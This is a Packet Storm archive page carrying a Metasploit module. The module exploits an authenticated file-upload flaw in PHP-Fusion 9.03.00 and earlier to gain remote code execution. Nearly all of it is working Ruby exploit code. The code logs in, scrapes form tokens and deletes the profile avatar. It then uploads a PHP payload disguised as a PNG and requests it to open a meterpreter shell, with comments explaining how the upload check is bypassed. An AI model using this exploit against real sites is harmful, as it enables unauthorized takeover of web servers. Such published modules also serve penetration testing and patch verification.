what you don't know can hurt you

PHP-Fusion 9.03.00 Remote Code Execution

PHP-Fusion 9.03.00 Remote Code Execution
Posted May 14, 2019
Authored by Ozkan Mustafa Akkus | Site metasploit.com

This Metasploit module exploits a command execution vulnerability in PHP-Fusion versions 9.03.00 and below. It is possible to execute commands in the system with ordinary user authority.

tags | exploit, php
MD5 | 015d2657bcaf373040bc60c970823aed

PHP-Fusion 9.03.00 Remote Code Execution

Change Mirror Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient

def initialize(info = {})
super(update_info(info,
'Name' => "PHP-Fusion < 9.03.00 - 'Edit Profile' Remote Code Execution",
'Description' => %q(
This module exploits command execution vulnerability in PHP-Fusion 9.03.00 and prior versions.
It is possible to execute commands in the system with ordinary user authority. No need admin privilage.
There is almost no control in the avatar upload section in the profile edit area.
Only a client-based control working with javascript. (Simple pre-check)
If we do not care about this control, the desired file can be sent to the server via Interception-Proxies.
The module opens the meterpreter session for you by bypassing the controls.
),
'License' => MSF_LICENSE,
'Author' =>
[
'AkkuS <Özkan Mustafa Akkuş>', # Discovery & PoC & Metasploit module
],
'References' =>
[
['URL', 'http://www.pentest.com.tr/exploits/PHP-Fusion-9-03-00-Edit-Profile-Remote-Code-Execution.html'], # Details
['URL', 'https://www.php-fusion.co.uk']
],
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Targets' => [['Automatic', {}]],
'Privileged' => false,
'DisclosureDate' => "May 11 2019",
'DefaultTarget' => 0))

register_options(
[
OptString.new('TARGETURI', [true, "Base PHP-Fusion directory path", '/']),
OptString.new('USERNAME', [true, "Username to authenticate with", '']),
OptString.new('PASSWORD', [true, "Password to authenticate with", ''])
]
)
end

def exec
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, "images","avatars", "#{@shell}") # shell url
})
end
##
# Login and cookie information gathering
##
def login(uname, pass, check)
# 1st request to get fusion_token
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, "home.php")
})

cookie = res.get_cookies
@fustoken = res.body.split("fusion_token' value='")[1].split("' />")[0]
# 2nd request to login
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'home.php'),
'cookie' => cookie,
'vars_post' => {
'fusion_token' => @fustoken,
'form_id' => 'loginform',
'user_name' => uname,
'user_pass' => pass,
'login' => ''
}
)

cookie = res.get_cookies
location = res.redirection.to_s
if res && res.code == 302 && location.include?('login.php?error')
fail_with(Failure::NoAccess, "Authentication was unsuccessful with user: #{uname}")
else
return cookie
end

return nil
end
##
# Upload malicious file // payload integration
##
def upload_shell(cookie, check)

res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, "edit_profile.php"),
'cookie' => cookie
})

ncookie = cookie + " " + res.get_cookies # gathering all cookie information

res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, "edit_profile.php"),
'cookie' => ncookie
})

# fetch some necessary post data informations
fustoken = res.body.split("fusion_token' value='")[1].split("' />")[0]
userid = res.body.split("profile.php?lookup=")[1].split('"><i class=')[0]
userhash = res.body.split("userhash' value='")[1].split("' style")[0]
usermail = res.body.split("user_email' value='")[1].split("' >")[0]

# data preparation to delete priv avatar
delete = Rex::MIME::Message.new
delete.add_part("#{fustoken}", nil, nil, 'form-data; name="fusion_token"')
delete.add_part('userfieldsform', nil, nil, 'form-data; name="form_id"')
delete.add_part("#{datastore['USERNAME']}", nil, nil, 'form-data; name="user_name"')
delete.add_part("#{usermail}", nil, nil, 'form-data; name="user_email"')
delete.add_part('1', nil, nil, 'form-data; name="delAvatar"')
delete.add_part("#{userid}", nil, nil, 'form-data; name="user_id"')
delete.add_part("#{userhash}", nil, nil, 'form-data; name="user_hash"')
delete.add_part("#{userhash}", nil, nil, 'form-data; name="user_hash"')
delete.add_part('Update Profile', nil, nil, 'form-data; name="update_profile"')
deld = delete.to_s

res = send_request_cgi({
'method' => 'POST',
'data' => deld,
'agent' => 'Mozilla',
'ctype' => "multipart/form-data; boundary=#{delete.bound}",
'cookie' => ncookie,
'uri' => normalize_uri(target_uri.path, "edit_profile.php")
})
# priv avatar deleted.
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, "edit_profile.php"),
'cookie' => cookie
})

ncookie = cookie + " " + res.get_cookies # recheck cookies

res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, "edit_profile.php"),
'cookie' => ncookie
})

# They changed. fetch again...
fustoken = res.body.split("fusion_token' value='")[1].split("' />")[0]
userid = res.body.split("profile.php?lookup=")[1].split('"><i class=')[0]
userhash = res.body.split("userhash' value='")[1].split("' style")[0]
usermail = res.body.split("user_email' value='")[1].split("' >")[0]
# The "php" string must be removed for bypass.We can use "<?"
pay = payload.encoded.split("/**/")[1]
fname = Rex::Text.rand_text_alpha_lower(8) + ".php"
@shell = "#{fname}"
# data preparation to upload new avatar
pdata = Rex::MIME::Message.new
pdata.add_part("#{fustoken}", nil, nil, 'form-data; name="fusion_token"')
pdata.add_part('userfieldsform', nil, nil, 'form-data; name="form_id"')
pdata.add_part("#{datastore['USERNAME']}", nil, nil, 'form-data; name="user_name"')
pdata.add_part("#{usermail}", nil, nil, 'form-data; name="user_email"')
pdata.add_part('1', nil, nil, 'form-data; name="delAvatar"')
pdata.add_part("<?" + pay, 'image/png', nil, "form-data; name=\"user_avatar\"; filename=\"#{fname}\"")
pdata.add_part("#{userid}", nil, nil, 'form-data; name="user_id"')
pdata.add_part("#{userhash}", nil, nil, 'form-data; name="user_hash"')
pdata.add_part('Update Profile', nil, nil, 'form-data; name="update_profile"')
data = pdata.to_s

res = send_request_cgi({
'method' => 'POST',
'data' => data,
'agent' => 'Mozilla',
'ctype' => "multipart/form-data; boundary=#{pdata.bound}",
'cookie' => ncookie,
'uri' => normalize_uri(target_uri.path, "edit_profile.php")
})

location = res.redirection.to_s
if res && res.code == 302 && location.include?('error')
fail_with(Failure::NoAccess, 'Error occurred during uploading!')
else
print_status("Trying to upload #{fname}")
return true
end

end
##
# Exploit controls and information
##
def exploit
cookie = login(datastore['USERNAME'], datastore['PASSWORD'], false)
print_good("Authentication was successful with user: #{datastore['USERNAME']}")

if upload_shell(cookie, true)
print_good("Control was bypassed. Harmful file upload successfully!")
exec
end
end
##
# The end of the adventure (o_O) // AkkuS
##
end
Login or Register to add favorites

File Archive:

May 2020

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    14 Files
  • 2
    May 2nd
    3 Files
  • 3
    May 3rd
    1 Files
  • 4
    May 4th
    18 Files
  • 5
    May 5th
    15 Files
  • 6
    May 6th
    21 Files
  • 7
    May 7th
    15 Files
  • 8
    May 8th
    19 Files
  • 9
    May 9th
    1 Files
  • 10
    May 10th
    2 Files
  • 11
    May 11th
    18 Files
  • 12
    May 12th
    39 Files
  • 13
    May 13th
    15 Files
  • 14
    May 14th
    17 Files
  • 15
    May 15th
    17 Files
  • 16
    May 16th
    2 Files
  • 17
    May 17th
    2 Files
  • 18
    May 18th
    15 Files
  • 19
    May 19th
    21 Files
  • 20
    May 20th
    15 Files
  • 21
    May 21st
    15 Files
  • 22
    May 22nd
    6 Files
  • 23
    May 23rd
    0 Files
  • 24
    May 24th
    0 Files
  • 25
    May 25th
    0 Files
  • 26
    May 26th
    0 Files
  • 27
    May 27th
    0 Files
  • 28
    May 28th
    0 Files
  • 29
    May 29th
    0 Files
  • 30
    May 30th
    0 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2020 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close